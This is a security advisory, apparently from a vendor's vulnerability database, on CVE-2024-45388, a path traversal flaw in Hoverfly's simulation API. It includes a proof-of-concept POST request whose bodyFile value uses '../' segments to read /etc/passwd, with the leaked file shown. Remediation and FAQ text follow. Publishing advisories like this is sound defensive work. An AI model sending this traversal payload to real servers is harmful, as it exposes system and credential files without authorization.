CVE-2024-45388

Details

The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
	if filepath.IsAbs(filePath) {
		return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
	}

	fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
	if err != nil {
		return "", err
	}

	return string(fileContents[:]), nil
}

Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.

This issue was found using the Uncontrolled data used in path expression CodeQL query for python.

Proof of Concept

Send the following POST request to read the /etc/passwd file:

POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

Response will contain the Hoverfly's server /etc/passwd

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close

{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}

This issue may lead to Information Disclosure.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2024-45388 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.10.3); upgrading removes the vulnerable code path.

Kodem intelligence

The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))

1. What is CVE-2024-45388? CVE-2024-45388 is a high-severity path traversal vulnerability in github.com/spectolabs/hoverfly (go), affecting versions < 1.10.3. It is fixed in 1.10.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2024-45388? CVE-2024-45388 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/spectolabs/hoverfly are affected by CVE-2024-45388? github.com/spectolabs/hoverfly (go) versions < 1.10.3 is affected.
4. Is there a fix for CVE-2024-45388? Yes. CVE-2024-45388 is fixed in 1.10.3. Upgrade to this version or later.
5. Is CVE-2024-45388 exploitable, and should I be worried? Whether CVE-2024-45388 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-45388 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-45388? Upgrade github.com/spectolabs/hoverfly to 1.10.3 or later.